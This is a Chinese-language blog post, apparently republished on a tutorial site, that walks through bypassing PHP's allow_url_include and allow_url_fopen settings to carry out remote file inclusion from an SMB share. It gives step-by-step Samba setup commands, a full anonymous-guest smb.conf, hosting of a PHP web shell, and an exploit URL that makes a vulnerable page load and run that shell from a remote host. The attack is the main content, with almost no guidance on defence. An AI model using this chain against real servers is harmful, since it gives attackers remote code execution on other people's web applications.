使用SMB共享来绕过php远程文件包含的限制执行RFI的利用


Posted in PHP onMay 31, 2019

在这篇博文中,我将为大家演示如何利用PHP应用中的远程文件包含漏洞的技术。我们将绕过php远程文件包含的限制,并执行RFI的利用,即使PHP环境被配置为不包含来自远程HTTP/FTP URL的文件。

PHP 和 SMB 共享文件访问

在PHP配置文件中,“allow_url_include”wrapper默认设置为“Off”,指示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“Off”,PHP也不会阻止加载SMB URL。而这就极有可能被滥用来从SMB共享加载远程托管的PHP Web shell。

攻击场景概述

当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP Web shell时,SMB共享应允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHP Web shell,SMB服务器将不会要求任何的凭据,易受攻击的应用程序将包含Web shell的PHP代码。

首先,我重新配置了PHP环境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名浏览访问的SMB服务器。一旦SMB共享准备就绪,我们就可以利用易受攻击的应用程序了。

PHP 环境设置

将托管易受攻击代码的机器上的“allow_url_fopen”和“allow_url_include”设置为“Off”

以下是版本为“5.5.11”的PHP当前配置截图:

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

在继续下一步之前,让我们确保当我们尝试访问HTTP上托管的Web shell时,PHP代码不允许远程文件包含。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

可以看到,当我试图从远程主机包含PHP Web shell时,应用程序抛出错误并且没有包含远程文件。

使用匿名浏览访问配置 Samba 服务器(Linux 机器)
使用以下命令安装Samba服务器:

apt-get install samba创建SMB共享目录:

mkdir /var/www/html/pub/

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

配置新创建的SMB共享目录的权限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

运行以下命令,删除SAMBA服务器配置文件的默认内容。

echo > /etc/samba/smb.conf将以下内容添加到/etc/samba/smb.conf文件。

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555

force user = nobody现在,重启SAMBA服务器以使配置文件/etc/samba/smb.conf中的新配置生效。

service smbd restart成功重启SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不要求提供凭据。

在本例中,SAMBA服务器IP为192.168.0.3,我需要访问Windows文件浏览器中的SMB共享,如下:

\\192.168.0.3\ 

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

在 SMB 共享中托管 PHP Web shell

太棒了!可以访问smb共享,并显示目录“ica”存在。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

现在,将PHP shell托管在目录“/var/www/html/pub”中,该目录为smb共享目录“ica”。

成功托管PHP shell后,我们使用Windows文件浏览器访问SMB共享目录“ica”。

\\192.168.0.3\ica\可以看到php shell存在于smb共享目录中,在本例中为box.php文件。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

利用文件包含易受攻击的参数
让我们使用这个PHP shell SMB链接,以及易受攻击的php代码浏览它。

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.phpPHP易受攻击的代码从SMB共享中获取了web shell,并在应用程序服务器上执行了代码\m/。我们已经绕过了php远程文件包含的限制,并包含了托管在远程主机上的Web shell。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

总结

以上所述是小编给大家介绍的使用SMB共享来绕过php远程文件包含的限制执行RFI的利用,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
dedecms 批量提取第一张图片最为缩略图的代码(文章+软件)
Oct 29 PHP
PHP Undefined index报错的修复方法
Jul 17 PHP
PHP写的求多项式导数的函数代码
Jul 04 PHP
PHP eval函数使用介绍
Dec 08 PHP
php mail to 配置详解
Jan 16 PHP
php实现图片局部打马赛克的方法
Feb 11 PHP
PHP实现自动识别原编码并对字符串进行编码转换的方法
Jul 13 PHP
PHP通过CURL实现定时任务的图片抓取功能示例
Oct 03 PHP
php封装的mysqli类完整实例
Oct 18 PHP
详解Yii2.0 rules验证规则集合
Mar 21 PHP
ThinkPHP类似AOP思想的参数验证的实现方法
Dec 18 PHP
Thinkphp5框架中引入Markdown编辑器操作示例
Jun 03 PHP
PHP使用ActiveMQ实现消息队列的方法详解
May 31 #PHP
php中的buffer缓冲区用法分析
May 31 #PHP
PHP实现基于状态的责任链审批模式详解
May 31 #PHP
Laravel框架实现调用百度翻译API功能示例
May 30 #PHP
Laravel框架学习笔记之批量更新数据功能
May 30 #PHP
PHP实现的微信公众号扫码模拟登录功能示例
May 30 #PHP
PHP使用PDO创建MySQL数据库、表及插入多条数据操作示例
May 30 #PHP
You might like
PHP Error与Logging函数的深入理解
2013/06/03 PHP
php_screw 1.5:php加密: 安装与使用详解
2013/06/20 PHP
学习php设计模式 php实现装饰器模式(decorator)
2015/12/07 PHP
IE8 原生JSON支持
2009/04/13 Javascript
js实现页面打印功能实例代码(附去页眉页脚功能代码)
2009/12/15 Javascript
基于jQuery的message插件实现右下角弹出消息框
2011/01/11 Javascript
javascript开发技术大全-第3章 js数据类型
2011/07/03 Javascript
javascript定义变量时有var和没有var的区别探讨
2014/07/21 Javascript
JavaScript学习笔记之JS对象
2015/01/22 Javascript
Javascript中3个需要注意的运算符
2015/04/02 Javascript
RequireJS简易绘图程序开发
2016/10/28 Javascript
关于json字符串与实体之间的严格验证代码
2016/11/10 Javascript
javascript  删除select中的所有option的实例
2017/09/17 Javascript
浅谈Vue-cli 命令行工具分析
2017/11/22 Javascript
详解Vue 中 extend 、component 、mixins 、extends 的区别
2017/12/20 Javascript
vue移动UI框架滑动加载数据的方法
2018/03/12 Javascript
Node.js中,在cmd界面,进入退出Node.js运行环境的方法
2018/05/12 Javascript
JS实现前端页面的搜索功能
2018/06/12 Javascript
解决select2在bootstrap modal中不能正常使用的问题
2018/08/09 Javascript
react-router 路由切换动画的实现示例
2018/12/03 Javascript
Vue 表情包输入组件的实现代码
2019/01/21 Javascript
vue项目中常见问题及解决方案(推荐)
2019/10/21 Javascript
javascript实现视频弹幕效果(两个版本)
2019/11/28 Javascript
es6中class类静态方法,静态属性,实例属性,实例方法的理解与应用分析
2020/02/15 Javascript
[01:41]DOTA2 2015国际邀请赛中国区预选赛第三日战报
2015/05/28 DOTA
python 用下标截取字符串的实例
2018/12/25 Python
Python对ElasticSearch获取数据及操作
2019/04/24 Python
Python 内置变量和函数的查看及说明介绍
2019/12/25 Python
Python获取二维数组的行列数的2种方法
2020/02/11 Python
Sublime Text3最新激活注册码分享适用2020最新版 亲测可用
2020/11/12 Python
拉飞逸官网:Lafayette 148 New York
2020/07/15 全球购物
材料化学应届生求职信
2013/10/09 职场文书
大学四年规划书范文
2013/12/27 职场文书
2015年幼儿园师德师风建设工作总结
2015/10/23 职场文书
2016大学生社会实践单位评语
2015/12/01 职场文书
Nginx流量拷贝ngx_http_mirror_module模块使用方法详解
2022/04/07 Servers